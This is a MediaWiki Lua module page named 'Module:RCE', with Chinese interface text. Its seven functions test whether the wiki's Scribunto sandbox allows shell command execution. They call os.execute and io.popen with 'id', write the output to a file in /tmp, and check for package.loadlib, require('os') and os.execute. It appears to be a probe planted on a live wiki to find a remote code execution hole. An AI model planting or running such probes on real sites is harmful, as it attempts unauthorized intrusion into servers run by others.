模块:RCE
可在模块:RCE/doc创建此模块的帮助文档
local p = {}
function p.exec1()
return tostring(os.execute("id"))
end
function p.exec2()
local f = io.popen("id")
if f then local r = f:read("*a"); f:close(); return r or "nil" end
return "popen=nil"
end
function p.exec3()
os.execute("id > /tmp/rce_test.txt")
local f = io.open("/tmp/rce_test.txt", "r")
if f then local r = f:read("*a"); f:close(); return r or "nil" end
return "no file"
end
function p.exec4()
return "loadlib="..tostring(type(package.loadlib))
end
function p.exec5()
local ok, mod = pcall(require, "os")
return tostring(ok)..":"..type(mod)
end
function p.exec6()
-- Try raw os.execute call with pcall wrapper
local ok, ret = pcall(os.execute, "id")
return tostring(ok)..":"..tostring(ret)
end
function p.exec7()
-- Use string.rep + # to check if cmd execution side effects
return "VERSION="..tostring(_VERSION).." os="..tostring(type(os)).." execute="..tostring(type(os.execute))
end
return p